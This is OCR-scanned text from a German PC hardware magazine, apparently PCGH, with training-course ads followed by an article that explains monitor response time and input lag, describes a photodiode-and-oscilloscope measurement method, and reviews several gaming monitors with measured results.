LPIC-2 (LPI 201 + 202) 


linuXhotel 


Einfache IMAP-Server mit Dovecot 


É 
E 


= mit Peer Heinlein, 
4 Heinlein Support GmbH 


та 
Tl 


heinlein 


Python für Systemadministratoren 


mit Rainer Grimm, 
Science + computing AG 


= ё puthon` 


Рирреї Fundamentals 


Das offizielle Training 
mit Achim Ledermüller, 
NETWAYS GmbH 


mNETWwAYSy: /NPUppet 


Y 
f /ComputecAcademy 


www.computec-academy.de 


; IT- Onlinetrainings 


Mit Experten lernen. 


m Lernen Sie, wo und 
wann Sie möchten. 


= Sparen Sie Zeit und Kosten. 


= Bleiben Sie trotz zeitlicher Engpässe 
up-to-date. 


cmo 


Effiziente BASH-Skripte 
{ mit Klaus Knopper, 

13» Gründer der Knoppix-Distribution, 
KNOPPER.NET 


199€ 


d L [нух Linux Foundation 
FOUNDATION шшш 


AUTHORIZED TRAINING 


PARTNER 


LFS201 — Essentials of System Administration 
Englisch, inkl. Prüfungsvoucher 


LFS211 - Linux Networking and Administration 
Englisch, inkl. Prüfungsvoucher 


LFS252 — 0penStack Administration Fundamentals 
Englisch, inkl. Prüfungsvoucher 


Linux-Hochverfügbarkeit und Clusterbau 


mit Dr. Michael Schwartzkopff, 
sys4 AG 


[*] 5у54 
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INFRASTRUKTUR | 33 Monitore im Reaktionszeittest 


Nur eine Millisekunde? 


Im Datenblatt eines Monitors ist immer nur ein Wert für die Reaktionszeit zu lesen. Aber diese Anga- 


be ist ungenau und nicht wirklich aussagekràftig, denn der Monitor hat mehrere Reaktionszeiten. 


Ther eine halbe Millisekunde 

Reaktionszeit soll ein neuer 
Monitor verfügen - so tönte erst im 
Sommer eine Pressemeldung. Da- 
mit müsste er ja doppelt so schnell 
reagieren wie die lahmen Karren 
von Gaming-Monitoren, die nur 
eine Millisekunde schnell sind. Das 
möchte uns das Marketing der Mo- 
nitorhersteller weismachen. Denn 
nur mit diesen pfeilschnell bild- 
wechselnden Displays sind schlie- 
renfreie Bewegungen in rasanten 
Multiplayer-Shootern möglich und 
es kommt schließlich aufs Tausends- 
tel einer Sekunde an, damit man 
eher schießen kann als der Gegner. 


Wenn überhaupt stimmt nur Erste- 
res. Denn der Mensch selbst ist das 
lahmste Glied in der Kette der Ver- 
ursacher der Signalverzögerung. 
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Seine Reaktionszeit liegt in etwa 
bei 150 bis 250 Millisekunden - 
gut das Zehnfache des Anteils der 
Technik, also etwa Tasteneingabe, 
Bildberechnung (Grafikkarte) und 
Bildausgabe (Monitor). 


Mit dem Input Lag wird meist der 
Technikanteil der Signalverzöge- 
rung beschrieben. „Meist“ deshalb, 
weil es für den Input Lag keinerlei 
Norm oder sonstige feste Defini- 
tion gibt - ganz im Gegenteil zur 
Reaktionszeit (des Monitors). Bei 
unseren Monitortests meinen wir 
mit dem Input Lag die Signalverzö- 
gerung zwischen fertig berechne- 
tem Bild und Darstellung auf dem 
Monitor. Wir messen diesen mit 
einer einfachen Fertiglösung des 
englischen Ingenieurs Leo Bodnar 
am HDMI-Eingang des Monitors. 


Input Lag ist nicht 
Reaktionszeit 

Mit der Reaktionszeit ist lediglich 
die Zeit gemeint, die das Display 
für einen Bildwechsel braucht - 
oder genauer gesagt, die ein Pixel 
für einen Farbwechsel benötigt 
- oder am genausten gesagt: die 
ein Flüssigkristall braucht, sich zu 
drehen. In unserer Messung ist sie 
Teil des Monitor-Input-Lags. Beide 
Begriffe werden oft miteinander 
verwechselt oder gleichgesetzt, da 
es sich beide Male um Signalverzö- 
gerungen handelt. Der Input Lag ist 
aber vielmehr die gesamte Verzöge- 
rung des Geräts, während die Reak- 
tionszeit nur die des Bildwechsels 
am Panel ist. 


Der Input Lag sagt lediglich aus, 
ob ein Gerät grundsätzlich spiele- 


tauglich ist. Er unterscheidet sich 
deutlich etwa zwischen PC-Moni- 
toren und Fernsehgeräten, wobei 
beide technisch recht ähnliche 
Flüssigkristall-Bildschirme sind. 
Am TV, wo in der Regel ein Video- 
signal flimmert, ist die Signalverzö- 
gerung von einigen Millisekunden 
irrelevant, weswegen sie dort für 
diverse Bildoptimierungen geop- 
fert wird. Bei einem Monitor kann 
es schon lästig werden, wenn sich 
etwa der Cursor spürbar später 
bewegt als die Maus. Bei Spielen 
wäre das nicht nur lästig, sondern 
ein Ausschlusskriterium. Als Spiel- 
barkeitsgrenze für das Input Lag 
von Displays werden oft um die 30 
Millisekunden genannt. Fast alle 
Monitore, auch günstige, liegen in 
der Regel weit darunter, viele Fern- 
seher eher weit darüber. Da aber 
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auch hier die Spieletauglichkeit 
wegen Konsolen nicht ganz un- 
wichtig ist, verfügen aktuelle TV- 
Geräte oft über einen sogenannten 
Spielemodus, der eventuelle Bil- 
doptimierungen deaktiviert und so 
den geringsten Input Lag des Ge- 
räts ermöglicht. Es gibt durchaus 
schon Modelle, die auf einem ge- 
ringen PC-Monitor-Niveau liegen. 


Die e Reaktionszeit hingegen ist ein 
Indikator für Schlieren bei schnel- 
len Bewegungen. Da diese in Spie- 
len nicht selten sind, ist eine kurze 
Reaktionszeit eine wichtige Eigen- 
schaft für einen Gaming-Monitor. 
Wohl deswegen ist sie bei solchen 
stets mit nur einer oder wenigen 
Millisekunden angepriesen. Nun 
hat ein Monitor aber nicht nur eine 
Reaktionszeit, weil eine ja auch 
nur einen einzigen(!) Farbwechsel 
beschreibt - meist ist es ein Grau- 
wechsel. Je nach Kontrast und Hel- 
ligkeit kann die Reaktionszeit dras- 
tisch anders ausfallen. Alles nur 
ein Marketing-Schwindel? Leider 
nicht - auch wenn der Datenblatt- 
wert nur wenig aussagekräftig ist, 
erlaubt die entsprechende 
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Präzise Messung mit dem Oszi llos skop 


Die Reaktionszeit macht einen — Teil 
des Input Lags eines Monitors aus. Außer- 
dem ist sie für Schlieren bei Bewegungen 
verantwortlich. Je geringer sie ist, umso 

schárfer sind Bewegungen am Bildschirm. 


Wie wir messen 
PCGH misst von Weiß über drei Graustufen bis 
Schwarz alle 20 Kombinationen durch. Dafür blinkt 
ein animiertes Gif mit der Farbkombination am 
Testmonitor. Dieser ist auf der Overdrive-Stufe 

mit bester Darstellung eingestellt — meist ist das 
eine mittlere. Eine Fotodiode übersetzt Lichtsi- 
gnale in Spannungsniveaus, die das Oszilloskop 
aufzeichnet. Die Software zeichnet das Signal 

auf und misst die Verzögerung, bis das neue Farbniveau erreicht ist. Aus den 20 gemessenen Werten erheben wir den 
Durchschnitt, der als altbekannter Benchmark-Balken (Seite 73) dargestellt wird. 


Beim USB-Oszilloskop handelt es sich um ein Voltcraft 050-1052 mit einer Auflösung 
von 8 Bit und 50 MHz Bandbreite. Der Messkopf ist eine Individuallósung von 

Dr. Michael Becker von der Firma Display Messtechnik GmbH, die 
uns dankenswerterweise zur Verfügung gestellt wurde. Es 
handelt sich um eine Fotodiode mit Verstárker- 

schaltung und wurde zur Reaktions- 
zeitmessung entwickelt. 
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Was ist die Reaktionszeit? 


Es dauert einige Millisekunden, bis sich die Flüssigkristalle drehen und 
der Pixel dadurch eine neue Farbe annehmen kann. Je lànger die Reakti- 
onszeit, umso stàrker schlieren Bewegungen am Bildschirm. 


n der Technologie wird die Dauer des Bildwechsels eines LCDs , Bildaufbauzeit" 
genannt. Gebräuchlich ist auch etwa „Schaltzeit”, es hat sich aber „Reaktions- 
zeit" durchgesetzt, wohl wegen der Übersetzung aus dem englischen „response 
ime". Gemäß ISO-Norm wird sie zwischen 10 und 90 % des Farbwechsels 
gemessen. dadurch können präzise Schnittpunkte mit den Flanken ermittelt 
werden, die sich an zwei Stellen der Waagrechten nur asymptotisch nähern. Da 
unser Oszilloskop diese Messung vornimmt, kommt es deswegen auch nicht zu 
essungenauigkeiten. 


Mit Flackern günstig dimmen 


Mit sogenannter Pulsweitenmodula- 
tion regulieren ältere Monitore die 
Helligkeit. 


Während aktuelle Monitore mittlerweile 

„flicker free" sind, also einfach gedimmt 

werden, benutzen ältere Modelle noch die 

günstigere Pulsweitenmodulation. Je nach 

Helligkeitsstufe sind die Phasen zwischen 

euchtendem und ausgeschaltetem Hintergrundlicht unterschedlich lang. Mit nied- 
riger Frequenz kann das bei empfindlichen Menschen für Kopfweh sorgen, daher 
wird die PWM nur noch selten verwendet. 


Raktionszeit Raktionszeit 
Schwarz — Weiß Weiß — Schwarz 
4» <> 


Spannung (Farbwert) 


P 
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= 
= 
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Helligkeit 10% 


Helligkeit 30% 


Hintergrundlicht an 


Hintergrundlicht aus 


Helligkeit 90% 


Overdrive: Kristallbeschleuniger verkürzt die Reaktionszeit 


Ein mittleres Niveau ist meistens der beste 
Kompromiss mit wenig Schlieren und Schatten 
gleichermaßen. kann. 


Die Overdrive-Funktion erhöht die Spannung beim 


meist abgestuft, sodass der Nutzer selbst den für sich 
besten Kompromiss aus Schlieren und Korona wählen 


Mit dem Ghosting-Test der Website www.testofu. 


weisen selbst auf hóchster Stufe keine Schatten auf, 
daher kann sie stets aktiviert bleiben. Die meisten 
aber zeigen deutliche Schatten in Bewegungen. Die 
Reaktionszeit ist dadurch zwar faktisch am kürzesten, 
die Bildqualität leidet darunter aber stärker als unter 


Farbwechsel, damit sich die Kristalle schneller drehen 
und die Reaktionszeit somit kürzer wird. Je nach 
Spannung aber schießen sie Ober: Ziel hinaus, der 
Pixel flackert also kurz heller als er soll. Statt Schlieren 
treten bei Bewegungen nun helle Schatten an Kanten 
auf, was als sogenannter Korona-Effekt bezeichnet 
wird. Die Overdrive-Funktion ist im Monitor-Menü 


P Overdrive aus Ей Overdrive mittel Wi Overdrive hoch 


Helligkeitsverlauf mit und ohne Overdrive 


com ist die beste Overdrive-Stufe schnell gefunden. 
Am Schweif des vorbeifliegenden Ufos sind ohne 
Overdrive deutlich Schlieren zu erkennen. Auf höchster 
Overdrive-Stufe zieht das Ufo einen invertierten 
Schatten mit sich. Da jedes Panel über eine andere 
Reaktionszeit verfügt, sind Schlieren und Schatten 
stets unterschiedlich ausgeprägt. Manche Modelle 


Overdrive aus 


Le 
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Schlieren ohne Overdrive. Bei einem mittleren Niveau 
sind meist weder Schlieren noch Schatten stórend — es 
bietet oft die beste Bildqualität bei Bewegungen. Jeder 
Monitor verfügt über andere Overdrive-Spannungen, 
daher messen wir die Reaktionszeit auf der Stufe mit 
der besten Bildqualitát, so wie es auch in der Praxis 
zum Einsatz kommen würde. 


Overdrive mittel Overdrive hoch 
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Norm (ISO 9241-305) diesen als 
repräsentative Angabe. Er kommt 
folgendermaßen zustande: 


Gemäß der Norm durchläuft ein 
Display mehrere Grauwechsel, 
darunter auch den Schwarz-Weiß- 
Wechsel. Der Hersteller kann sich 
aus dieser Reihe den niedrigsten 
Mittelwert aus einem Hin-und-her- 
Paar für die Reaktionszeit aussu- 
chen. Es sei vorneweg gesagt, dass 
wir durchaus Werte messen, die 
unter einer Millisekunde liegen. 
Das liegt daran, dass wir nicht 
den Hin-und-her-Wechsel mitteln, 
sondern jeden Wechseln für sich 
isoliert angeben. Wir erheben 1е- 
diglich den Gesamtdurchschnitt 
aller unserer Messungen, den wir 
für aussagekräftiger halten als den 
günstigsten Durchschnitt eines 
Wechselpaares. 


Wie wir messen 

Bei einem Monitor mit 8 Bit Farb- 
tiefe kann jedes der drei Rot, 
Grün- und Blau-Subpixel bis zu 256 
Farben (28) darstellen. Mit jeder 
Kombination daraus (2563) kann 


^46 


ењ 


ein Pixeltrio also 16,7 Millionen 
Farben darstellen. Aus den daraus 
unzähligen Kombinations- bzw. 
Wechselmöglichkeiten - also auch 
faktischen Reaktionszeiten - müs- 
Stichproben herausgepickt 
werden, die letztlich auch den Auf- 


sen 


wand in Grenzen halten. Für eine 
aussagekräftige Messreihe haben 
wir uns für Schwarz, Weiß und 
drei Graustufen (25, 50 und 75 
Prozent) ausgesucht. Wir messen 
die Reaktionszeit der Wechsel aller 
20 möglichen Kombinationen der 
fünf Farben und erkennen somit 
das Verhalten sowohl bei niedrigen 
als auch hohen Kontrasten. 


Standardmäßig ist der Monitor bei 
jedem 
eine halbe Stunde aufgewärmt. 
Das ist gerade jetzt zur Reaktions- 


Testvorgang mindestens 


zeitmessung wichtig, denn Flüs- 
sigkristalle reagieren in höheren 
Temperaturen schneller. Der getes- 
tete Monitor wird mit maximaler 
Helligkeit, nativer Auflösung und 
nativer Bildwiederholrate betrie- 
ben. Außerdem haben wir uns für 
die Overdrive-Stufe entschieden, 
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Zwischen zwei Polarisationsfiltern klebt ein Schmierfilm aus Flüssigkristallen. Diese 
werden für jeden Farbwechsel von einem elektrischen Feld gedreht. 
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Reaktionszeiten in Millisekunden 
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welche die beste Bildqualität liefert 
- also relativ wenig Schlieren und 
geringen Korona-Effekt gleicher- 
mafsen aufweist. Meist ist das ein 
mittleres Niveau, so wie es auch der 
Nutzer in der Praxis verwenden 
würde. Erfahrungsgemäß wird die 
Reaktionszeit mit mittlerem Over- 
drive deutlich verkürzt, das Bild 
also sichtbar schlierenärmer. Die 
höchste Stufe ist selten praktikabel, 
da wegen der zu großen Übersteue- 
rung die Bildqualität noch schlech- 
ter ist als ohne Overdrive. Im regu- 
lären Monitortest prüfen wir mit 
dem Ghosting-Test von testufo.com 
den besten Overdrive-Kompromiss 
und messen bei diesem nun auch 
die Reaktionszeiten. Jeder Monitor 
hat hier eine unterschiedliche Cha- 
rakteristik. Manche LG-Monitore 
etwa schlieren noch immer etwas 
auf höchster Stufe, während die 
neuen Alienware-Modelle mit 240 
Hz gar keine Deaktivierung mehr 
erlauben, sondern nur ein niedri- 
geres Niveau. 


Die genauen Werte der Reakti- 
onszeiten misst für uns das Os- 
zilloskop, das uns die Dauer der 
steigenden und fallenden Flanken 
(engl. rise/fall), also die des Hin- 
und-her-Wechsels 
Farben, präzise ermittelt. Jeder der 
zwanzig Werte wird notiert, um 


zwischen den 


dann bei einem Einzeltest in eine 
Testtabelle zu wandern, wie etwa 
auf den kommenden beiden Seiten, 
wo einige Monitore aus dem Mess- 
marathon im Detail vorgestellt wer- 
den. In die Wertung fliefst aber der 
Durchschnitt aller Messwerte ein, 
der zusammen mit dem Minimum 
und Maximum aussagekräftiger ist 
als die ISO-konforme Angabe des 
günstigsten Mittelwert eines Wech- 
selpaares. Daher berücksichtigen 
wir nur diesen von uns gemesse- 
nen Durchschnitt in unserer Wer- 
tungsnote des Monitors. 


Der Reaktionszeiten- 
Monitormessmarathon 

Mit dem neuen Spielzeug, dem 
Messkopf mit Fotodiode, haben wir 
nun eine kritische Masse an Messda- 
ten erhoben, um die Eigenschaften 
verschiedener Modelle und Panel- 
techniken überprüfen zu kónnen. 
Einerseits dient die Zahlenwüste 
auf der linken Seite nebenan dazu, 
um mit den Messwerten kommen- 
der, neuer Modelle einen Vergleich 
anstellen zu kónnen. Bislang konn- 
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ten wir Schlieren und den Korona- 
Effekt lediglich qualitativ mit Sicht- 
prüfung bewerten. Das werden 
wir in Zukunft zwar beibehalten, 
denn letztlich zàhlt auch, was man 
sieht, und nicht nur, was man misst. 
Andererseits kónnen wir nun erst- 
mals darstellen, wie viel schneller 
etwa TN-Panels gegenüber den 
eher trägen IPS-Panels sind. In 
den Datenblättern von (Gaming-) 
TN-Monitoren ist ja meist nur die 
berüchtigte eine Millisekunde zu 
lesen, bei IPS sind es schon fünf. 
Dass das nicht bedeutet, dass je- 
der Bildwechsel auch fünfmal so 
lange dauert, ist klar. Nun kónnen 
wir das beziffern und mit unserer 
willkührlichen Monitormasse vage 
Aussagen treffen, die natürlich 
weder allgemeingültig noch reprä- 
sentativ sind. Dennoch laden die 
Ergebnisse zu  Interpretationen 
ein: So ist etwa der beste von uns 
gemessene TN-Monitor (Alienware 
AW2518H) im Schnitt mit 2,3 ms 
ungefähr doppelt so schnell wie 
der beste IPS-Monitor (Viewsonic 
XG2703-GS) mit 5,4 ms. Beide dürf- 
ten Top-Modelle ihrer Panelkatego- 
rie sein, denn sie sind relativ teuer 
in ihrer Klasse und auch ansonsten 
qualitativ gute Gaming-Monitore 
mit hoher Bildwiederholrate (240 
Hz und 144 Hz). IPS hat Vorteile in 
der Blickwinkelstabilität und der 
Bildqualität. Der Viewsonic-Moni- 
tor ist aber ein Indiz dafür, dass die 
Attribute schnell und schön kein 
Widerspruch sein müssen. 


Nun haben wir zwar viele, aber 
nicht nur Gaming-Modelle gemes- 
sen. Auch aktuelle und ältere Mo- 
delle sind querbeet vertreten. Da 
im letzten Heft die 240-Hertz-Mo- 
nitore getestet wurden, konnten 
viele davon anschließend in den 
Reaktionszeitentest wandern. Au- 
ßerdem lagert in der Redaktion ein 
alter Röhrenmonitor, der vor über 
15 Jahren noch als Top-Modell galt. 
Die alten Röhren haben den tech- 
nischen Vorteil, dass sie über eine 
sehr geringe, kaum nennenswerte 
Reaktionszeit verfügen und daher 
Bewegungen komplett schlieren- 
frei anzeigen. Wegen des Flackerns 
und des unschärferen Bildes sind 
sie aber längst ausgestorben. Der 
nächste nicht ganz so ernstzuneh- 
mende Datensatz ist der des Acer 
AL712. Dabei handelt es sich eben- 
so um ein uraltes Modell - ein TN- 
Panel mit 17-Zoll, das vor über zehn 


Reaktionszeiten in der Übersicht 


Durchschn. Reaktionszeit aller 20 Messungen 


lyama Vision Master Pro 454 (CRT!) E 0,6 (Max.1,0) 
Dell Alienware AW2518H б 2,3 (Max.3,2) 
Dell Alienware AW2518HF @ БШШ 2,7 (Max.7,2) 
Benq XL2420T [0/6 2,8 (Max.5,6) 
Benq XL2720T ЮБИ 3,3 (Max.8,4) 
Benq XL2720Z БШШ 3,4 (Max.5,4) 
Asus MG248Q MORE 3,8 (Мах.11,1) 
АОС Agon AG251FG ШЕВ 3,8 (Max.9,2) 
Acer XB272 ОВ 4,3 (Max.8,8) 
liyama GB2783QSU Wë 4,9 (Max.12,4) 
Viewsonix XG2530 БШШШ 5,0 (Max.9,8) 
АОС Agon AG251FZ rz cu 5,0 (Max.15,8) 
Eizo Foris FG2412 Б 5,4 (Max.17,6) 
Viewsonic XG2703-GS IB vIEIWSIIN 5,4 (Max.6,8) 
АОС Agon AG352UCG. ШЗ ЕШ 5,8 (Max. 14,6) 
Samsung C34F791 EIS] 5,9 (Max.18,3) 
liyama Prolite G2773HS ОЮ 6,0 (Max.9,5) 
Philips Lightframe 248X3LFHSB [9 7,1 (Max.17,2) 
liyama Prolite XA071UHSU-B1 7] ЕШШ 7,2 (Max.17,9) 
Asus MG2790 [gg ШЕШ 7,2 (Max.11,4) 
АОС U2868PQU [08:9 7,2 (Max.20,3) 
АОС G2460PF [oz 7,6 (Max.13,6) 
Asus PB287Q Hzc 7,7 (Max.17,6) 
LG 34UM88-P. CSS 8,1 (Max.11,5) 


Samsung Syncmaster 305T plus ШШ o 8,2 (Max.13,2) 

LG 38UC99-W [33 8,7 (Max.10,6) 
Dell UP2414Q [CS 8,9 (Max.12,3) 

Asus ROG Swift PG27AQ [Xi ou 9,0 (мах.14,2) 
LG 290М68-Р CSS Eu 9,4 (Max.11,6) 

АОС U3277PQU [mn 9.9 (Max.12,9) 
LG 29UM65-W [e 13,1 (Max.18,7) 
Dell 3007WFP. s 15,2 (Max.22,0) 
AcerAL712 HB 16,1 (Max.35,9) 


System: Fotodiode inkl. Verstärkerschaltung, Voltcraft 050-1052 USB-Oszilloskop. 
Messung von 20 Farbwechsel aus Schwarz, Weiß, 25 % Grau,50 % Grau und 75 % Grau. 
Bemerkungen: Gute TN-Panels sind noch immer am schnellsten, wenn auch nicht viel. 


MiMi с ms 


< Besser 


Jahren noch mit einer ,niedrigen 
Reaktionszeit über 20 ms“ bewor- 
ben wurde. Laut unseren Messun- 
gen beträgt sie im Schnitt sogar nur 
16 ms. Einstellig ist der Messwert 
aber nur in drei der zwanzig Farb- 
wechsel. 


Nicht nur der Durchschnitt ist re- 
levant. Wie stark variiert die Reak- 
tionszeit und bei welchen Panels 
variiert sie stárker? Einige techno- 
logische Studien schreiben darü- 
ber, dass die Reaktionszeiten von 
IPS-Panels stärker variieren. Ande- 
re wiederum behaupten, dass eine 
Varianz nicht der Panel-Technik 
zugeschrieben werden kann. Mit 
unseren Stichproben kónnen wir 


noch keine Tendenz erkennen oder 
gar eine Aussage über diese Thesen 
treffen. Auffällig ist, dass die Wech- 
sel hin zu Schwarz stets relativ kurz 
sind. Außerdem gibt es andere 
Stellschrauben, welche die Reakti- 
onszeit beeinflussen. Laut Studien 
kann etwa eine Farbkalibrierung 
die Reaktionszeiten drastisch be- 
einflussen, was logisch erscheint, 
da ja damit für denselben Farbton 
der Pixel anders leuchten muss. 


Mit dem Einfluss von Overdrive, 
Kalibrierung oder auch nur Kon- 
trast- oder Helligkeitsstufe bieten 
Untersuchungen der Reaktionszei- 
ten Stoff für bergeweise Artikel in 
der Zukunft. (mc) 
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Viewsonic XG2703-GS 


Gute IPS-Bildqualitàt und ein schnelles Panel, sowohl was Reaktionszeit 
(5,2 ms) als auch Bildwiederholrate (165 Hz) angeht. Das kostet aber. 


Der Viewsonic-Monitor erzielt nur eine mittelmäßige Ausstattungsnote, weil er 
nicht viele Anschlüsse bietet. In der Oberklasse verzichten die Hersteller gerne 
mal auf den veralteten DVI-Anschluss — auf die analoge VGA-Buchse sowieso. An- 
sonsten ist die Ausstattung tadellos und dem Preis auch angemessen: Drehbarer, 
höhenverstellbarer und sogar beleuchteter Standfuß, Vesa-Bohrungen für eine 
Tischhalterung und zwei USB-3.0-Buchsen lassen keine Wünsch offen. 


Das IPS-Panel beschert dem Monitor eine gute Bildqualität: Rundum stabiler Blick- 
winkel, sehr guter Kontrast über 1100:1 und eine recht geringe Farbabweichung 
machen letztlich den Viewsonic-Monitor zum Testsieger. Die Farbanalyse lässt 
zudem keine Schwäche in den drei Grundfarben erkennen. Die maximale Helligkeit 
über 350 cd/m? wird zwar von so manchem TN-Display in der Testreihe übertrof- 
en, jedoch ist der Wert mehr als ausreichend für eine gute Darstellung auch in 
heller Umgebung. Lediglich was die gleichmäßige Ausleuchtung betrifft, hat der 
onitor eine kleine Schwäche: Im oberen Drittel des Bildes ist die Helligkeit etwa 
zehn Prozent niedriger. Dieses Manko ist aber nur durch unsere Messung ersicht- 
ich und nicht unbedingt mit bloBem Auge. Zudem schluckt der Monitor in Standby 
recht viel: Über 10 Watt machen eine Steckdosenleiste mit Schalter zur Pflicht. 


it durchschnittlich nur 5,2 ms verfügt er für ein IPS-Panel über eine sehr kurze 
Reaktionszeit mit einer recht geringen Varianz. 


Viewsonic XG2703-GS 
von Weiß | 25 96 Grau 50 90 Сташ 75 % Сгаи Schwarz 
25 % Grau 


50% бап wu 
75 % Grau I EEN 


Schwarz 


E @O0-4ms E@48ms M@8-12ms В© über 12 ms 
Min: 4,5 ms Max: 6,8ms Avg: 5,4 ms 


auf Weiß 


Asus MG279Q 


Der Asus zeigte im Test kaum Schwächen: WQHD-Auflósung, 144 Hertz 
und Freesync machen ihn zum guten Allrounder. Leider funktioniert 
Freesync nur bis 90 Hertz. 


Mit seiner Ausstattung ähnelt er dem ebenfalls hier vorgestelltem Viewsonic 
XG2703-GS, ebenfalls IPS-Panel, WQHD-Auflósung über 2.560 x 1.440 Pixeln und 
ähnlich hohe Bildwiederholrate — wenn auch hier „nur” 144 Hertz. Der Viewsonic 
bietet die dynamische Synchronisierung für Nvidia-Karten namens G-Sync, wäh- 
rend der Asus über das AMD-Pendant Freesync verfügt. Leider funktioniert diese 
nur zwischen 30 und 90 Hertz — die dreistellige Rate gibt es also nur statisch. 
Wer aber Freesync bei nativer Auflósung verwendet, dürfte selbst mit aktuellen 
AMD-Grafikkarten sowieso meistens nur zweistellige Frameraten liefern. Das 
macht dieses Manko verschmerzbar. Während bei vielen Monitoren das untere 
Freesync-Ende bei 48 Hertz recht hoch liegt, geht der MG279Q bis auf 30 Hertz 
herunter. Diese tiefe untere Grenze dürfte wichtiger sein als die obere. 


Darüber hinaus liefert das IPS-Panel eine gute Bildqualitát ab. Mit Overdrive und 
hoher Bildwiederholrate sind kaum Schlieren bei Bewegungen sichtbar. An ein 
noch schnelleres TN-Panel mit 240 Hz kommt die Bewegtbildschárfe zwar nicht 
ganz ran, dafür ist die Farbtreue und -qualitát auch weitaus besser als bei diesen. 
Asus nennt im Datenblatt eine Reaktionszeit von 4 ms. Die erreichen wir in keiner 
unserer Messungen. Das Minimum beläuft sich auf 4,9 ms, während sich der 
Durchschnitt auf 7,2 ms beläuft. Der Höchstwert von 11,4 und andere kleinere 
AusreiBer nach oben hin sind nicht kritisch 


Asus MG279Q 
von Weiß | 25 96 Grau BST ЛЕТ Ж ЕДЕП Schwarz 


auf Weiß 


— 
25 % Grau | — | 


50 % Grau — 

75 % Grau Eo 
Schwarz I 

m@0-4ms El@4-8ms 80 8-12 т M@ über 12 ms 

Min: 49 ms Мах: 11,4 тѕ Avg: 7,2 ms 


Fazit: Der Viewsonic XG2703-GS scheint die eierlegende Wollmilchsau unter den 
Monitoren zu sein: Großer 27-Zoll-IPS-Bildschirm, hohe WQHD-Auflósung, hohe 
Bildwiederholrate — er scheint keine Wünsche offen zu lassen. So ein Nonplusultra ist 
mit 800 Euro natürlich nicht ganz billig. 


Fazit: Zum Geheimtipp für Grafiker fehlt ihm eine hóhere Farbraumabdeckung. 
Er ist daher mehr ein guter Allrounder für Gamer, die ein schnelles und schönes 
Display wünschen. Der Kompromiss ist Asus hier jedenfalls gelungen. 


Hersteller: Viewsonic 

Web: www.viewsoniceurope.com/de 

Preis: ca. € 800,- | Preis-Leistung: ausreichend 

© Gute Bildqualität Ausstattung 
© G-Sync bis 165 Hz Eigenschaften 
© Hoher Standby-Stromverbrauch Leistung 


www.pcgh.de/preis/1504306 


PCGH-Preisvergleich 


WERTUNG 
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Hersteller: Asus 
Web: www.asus.de 
Preis: ca. € 550,- | Preis-Leistung: befriedigend 


© Hoher Kontrast 
© Gute Bildqualität Eigenschaften 
© Freesync nur bis 90 Hz Leistung 


PCGH-Preisvergleich 


WERTUNG 


Ausstattung 


www.pcgh.de/preis/1215454 


www.pcgameshardware.de 
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Alienware AW2518H & AW2518HF 


240 Hz Bildwiederholrate und extrem niedrige Reaktionszeit: Schärfer 
und schlierenärmer dürfte kein LCD sein. 


Bei den beiden 24,5-Zöllern handelt es sich einmal um die G-Sync- und einmal 
um die Freesync-Version (mit „Е“ hinten am Namen). Beide sind äußerlich absolut 
identisch, sind an der Rückseite und am Standfuß mit RGB-LED-Elementen 
versehen und verfügen ansonsten auch über die gleiche Ausstattung. Abgesehen 
davon, dass die dynamische Bildwiederholrate mit dem AW2518H nur mit einer 
Nvidia- und mit dem AW2518HF nur mit einer AMD-GPU funktioniert, beginnt 
das Intervall beim G-Sync-Modell schon bei 30 Hz, beim Freesync-Gerät erst bei 
48 Hz. Dementsprechend fehlt beim AW2518HF auch die ULMB-Funktion. Beide 
TN-Panels lösen mit 1.920 х 1.080 Pixeln auf — also Full HD — wie übrigens alle 
240-Hz- Monitore. 


Mit durchschnittlich 2,3 (AW2518H) bzw. 2,7 Millisekunden (AW2518HF) können 
die beiden Monitore hervorragend kurze Zeiten vorweisen. Bei 240 Hz wird das 
Bild alle 4,2 ms aktualisiert. Mit den entsprechend niedrigen Werten ist sicherge- 
stellt, dass die Pixel bei jedem Refresh auch einen kompletten Farbwechsel vollzie- 
hen. Beide Monitore verfügen über ein standardmäßig aktives Overdrive, was wohl 
für die niedrigen Reaktionszeiten sorgt. Überrascht hat uns letztlich der faire Preis 
der beiden Modelle, die beide bei Dell direkt zum Kampfpreis angeboten werden. 
Zumindest die Freesync-Version ist mit nur circa 400 Euro relativ günstig für einen 
240er. Solche Modelle, die sowohl qualitativ als auch preislich interessant sind, 
gefallen uns. 


Dell Alie are A 9 


von Weiß | 25 % Grau 0 96 Gra 


auf Weiß 
25 % Grau 
0 96 


ш @0-4т< []O94-8ms 80 8-12 т В© über 12 ms 
Min: 0,6 ms Мах: 3,2 ms Avg: 2,3 ms 


AOC Agon AG352UCG 


Groß, gekrümmt und dennoch schlierenarmes Bild: Das VA-Panel bietet 
einen hohen Kontrast und niedrige Reaktionszeiten und damit eine 
beeindruckende Immersion. 


Auf der Fláche mit Bilddiagonale über 35 Zoll finden 3.440 x 1.440 Pixel Platz. 
Damit kommt der Agon-Monitor auf eine noch immer gute Pixeldichte von ca. 107 
ppi. Auch die Bildwiederholrate kann sich mit 100 Hertz sehen lassen und skaliert 
dank G-Sync mit einer Nvidia-Grafikkarte auch dynamisch bis 30 Hertz. So ein 
Monitor im Ultrawide-Format ist prádestiniert für Rennspiele, bei denen das breite 
Bild im 21:9-Format gut zur Geltung kommt. Die Krümmung fällt mit 2000R, also 
einem Radius von zwei Metern eher moderat aus. 


Typisch für ein VA-Panel verfügt der Agon über einen niedrigen Schwarzwert von 
nur 0,2 cd/m?. Mit der Maximalhelligkeit von ca. 370 cd/m? kommt der Monitor 
auf das gewaltige Kontrastverháltnis von 2.000:1 — IPS- und TN-Panels verfügen 
da bestenfalls über die Hälfte. Außerdem messen wir eine ganz gut Farbtreue, 
die zusammen mit dem Kontrast für ein sehenswertes Bild sorgt. In Bewegungen 
kónnen wir aber einige Schlieren erkennen — ganz so gestochen scharf wie bei 
hochfrequenteren Panels mit kürzerer Reaktionszeit ist die Anzeige hier nicht. 
Natürlich ist er nicht ganz unbrauchbar für schnelle Multiplayer-Shooter, doch da 
gibt es einfach bessere Modelle — der Agon hat andere Stärken. Die durchschnitt- 
liche Reaktionszeit ist mit 5,8 ms niedrig und damit in TN-Regionen unterwegs. 
Ein Ausreißer von 14,6 ms ist unkritisch, da dieser nur in einem dunklen Wechsel 
mit wenig Kontrast auftrat. 


AOC Agon AG352UCG 


(| von Weiß | 25 % Grau 5096 Grau 75 % Grau Schwarz 


auf Weiß 


25 % Grau 

50 % Grau 

75 % Grau 

Schwarz 

m@04ms Dl@4-8m M@8-12ms M@ über 12 ms 
